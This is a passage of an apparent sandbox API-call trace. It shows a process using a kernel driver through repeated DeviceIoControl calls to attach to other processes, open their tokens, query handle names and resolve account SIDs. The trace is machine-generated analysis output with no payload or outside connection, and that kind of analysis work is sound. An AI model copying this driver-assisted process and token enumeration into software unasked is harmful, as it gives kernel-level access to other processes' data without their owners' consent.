PriorityBoost=0) [0123.171] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.171] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.172] CloseHandle (hObject=0xc8) returned 1 [0123.172] CloseHandle (hObject=0xc0) returned 1 [0123.172] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.172] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.172] PsLookupProcessByProcessId (in: ProcessId=0x9e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.172] PsAcquireProcessExitSynchronization () returned 0x0 [0123.172] KeStackAttachProcess (in: PROCESS=0xfffffa8002044060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002044060, ApcState=0xfffff880044355d0) [0123.172] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800201e6a0, HandleInformation=0x0) returned 0x0 [0123.173] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.173] PsReleaseProcessExitSynchronization () returned 0x2 [0123.173] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x10 [0123.173] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0123.173] ObfDereferenceObject (Object=0xfffffa800201e6a0) returned 0x1 [0123.173] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.173] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.173] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.173] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0123.173] PsLookupProcessByProcessId (in: ProcessId=0x9e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.173] PsAcquireProcessExitSynchronization () returned 0x0 [0123.173] KeStackAttachProcess (in: PROCESS=0xfffffa8002044060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002044060, ApcState=0xfffff880044355d0) [0123.173] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002091a90, HandleInformation=0x0) returned 0x0 [0123.173] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.173] PsReleaseProcessExitSynchronization () returned 0x2 [0123.173] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x10 [0123.173] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435508) returned 0x0 [0123.173] ObfDereferenceObject (Object=0xfffffa8002091a90) returned 0x1 [0123.173] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.173] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.173] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.173] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.173] PsLookupProcessByProcessId (in: ProcessId=0x9e0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.173] PsAcquireProcessExitSynchronization () returned 0x0 [0123.173] KeStackAttachProcess (in: PROCESS=0xfffffa8002044060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002044060, ApcState=0xfffff880044355d0) [0123.173] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.173] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.173] PsReleaseProcessExitSynchronization () returned 0x2 [0123.173] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x10 [0123.173] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.174] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.174] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.174] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.174] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9f0) returned 0xc0 [0123.174] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.174] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80020cf460, HandleInformation=0x0) returned 0x0 [0123.174] ObOpenObjectByPointer (in: Object=0xfffffa80020cf460, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a40) returned 0x0 [0123.174] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x12 [0123.174] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a40, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.174] ZwClose (Handle=0xffffffff80000a40) returned 0x0 [0123.174] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.174] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.174] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.175] CloseHandle (hObject=0xc8) returned 1 [0123.175] CloseHandle (hObject=0xc0) returned 1 [0123.175] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.175] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.175] PsLookupProcessByProcessId (in: ProcessId=0x9f0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.175] PsAcquireProcessExitSynchronization () returned 0x0 [0123.175] KeStackAttachProcess (in: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880044355d0) [0123.176] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020cfd90, HandleInformation=0x0) returned 0x0 [0123.176] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.176] PsReleaseProcessExitSynchronization () returned 0x2 [0123.176] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x10 [0123.176] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.176] ObfDereferenceObject (Object=0xfffffa80020cfd90) returned 0x1 [0123.176] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.176] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.176] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.176] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0123.176] PsLookupProcessByProcessId (in: ProcessId=0x9f0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.176] PsAcquireProcessExitSynchronization () returned 0x0 [0123.176] KeStackAttachProcess (in: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880044355d0) [0123.176] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020d2f20, HandleInformation=0x0) returned 0x0 [0123.176] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.176] PsReleaseProcessExitSynchronization () returned 0x2 [0123.176] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x10 [0123.176] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.176] ObfDereferenceObject (Object=0xfffffa80020d2f20) returned 0x1 [0123.176] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.176] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.176] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.176] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.176] PsLookupProcessByProcessId (in: ProcessId=0x9f0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.176] PsAcquireProcessExitSynchronization () returned 0x0 [0123.176] KeStackAttachProcess (in: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880044355d0) [0123.176] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.176] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.177] PsReleaseProcessExitSynchronization () returned 0x2 [0123.177] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x10 [0123.177] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.177] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.177] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.177] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.177] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa00) returned 0xc0 [0123.177] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.177] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80020e5b30, HandleInformation=0x0) returned 0x0 [0123.177] ObOpenObjectByPointer (in: Object=0xfffffa80020e5b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a40) returned 0x0 [0123.177] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x12 [0123.177] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a40, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.177] ZwClose (Handle=0xffffffff80000a40) returned 0x0 [0123.177] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.177] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.177] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.178] CloseHandle (hObject=0xc8) returned 1 [0123.178] CloseHandle (hObject=0xc0) returned 1 [0123.179] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.179] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.179] PsLookupProcessByProcessId (in: ProcessId=0xa00, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.179] PsAcquireProcessExitSynchronization () returned 0x0 [0123.179] KeStackAttachProcess (in: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880044355d0) [0123.179] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020dca70, HandleInformation=0x0) returned 0x0 [0123.179] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.179] PsReleaseProcessExitSynchronization () returned 0x2 [0123.179] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x10 [0123.179] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.179] ObfDereferenceObject (Object=0xfffffa80020dca70) returned 0x1 [0123.179] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.179] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.179] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.179] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0123.179] PsLookupProcessByProcessId (in: ProcessId=0xa00, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.179] PsAcquireProcessExitSynchronization () returned 0x0 [0123.179] KeStackAttachProcess (in: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880044355d0) [0123.179] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020e51a0, HandleInformation=0x0) returned 0x0 [0123.179] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.179] PsReleaseProcessExitSynchronization () returned 0x2 [0123.179] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x10 [0123.179] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.179] ObfDereferenceObject (Object=0xfffffa80020e51a0) returned 0x1 [0123.179] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.179] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.179] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.179] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.180] PsLookupProcessByProcessId (in: ProcessId=0xa00, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.180] PsAcquireProcessExitSynchronization () returned 0x0 [0123.180] KeStackAttachProcess (in: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880044355d0) [0123.180] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.180] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.180] PsReleaseProcessExitSynchronization () returned 0x2 [0123.180] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x10 [0123.180] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.180] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.180] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.180] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.180] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa10) returned 0xc0 [0123.180] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.180] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80020f65f0, HandleInformation=0x0) returned 0x0 [0123.180] ObOpenObjectByPointer (in: Object=0xfffffa80020f65f0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a40) returned 0x0 [0123.180] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x12 [0123.180] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a40, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.180] ZwClose (Handle=0xffffffff80000a40) returned 0x0 [0123.180] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.180] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.180] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.182] CloseHandle (hObject=0xc8) returned 1 [0123.182] CloseHandle (hObject=0xc0) returned 1 [0123.182] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.182] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.182] PsLookupProcessByProcessId (in: ProcessId=0xa10, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.182] PsAcquireProcessExitSynchronization () returned 0x0 [0123.182] KeStackAttachProcess (in: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880044355d0) [0123.182] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020f6f20, HandleInformation=0x0) returned 0x0 [0123.182] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.182] PsReleaseProcessExitSynchronization () returned 0x2 [0123.182] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x10 [0123.182] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.182] ObfDereferenceObject (Object=0xfffffa80020f6f20) returned 0x1 [0123.182] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.182] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.182] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.182] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0123.182] PsLookupProcessByProcessId (in: ProcessId=0xa10, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.182] PsAcquireProcessExitSynchronization () returned 0x0 [0123.182] KeStackAttachProcess (in: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880044355d0) [0123.182] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020f81e0, HandleInformation=0x0) returned 0x0 [0123.182] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.182] PsReleaseProcessExitSynchronization () returned 0x2 [0123.182] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x10 [0123.182] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.182] ObfDereferenceObject (Object=0xfffffa80020f81e0) returned 0x1 [0123.183] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.183] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.183] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.183] DeviceIoControl (in: hDevice=0x7c, 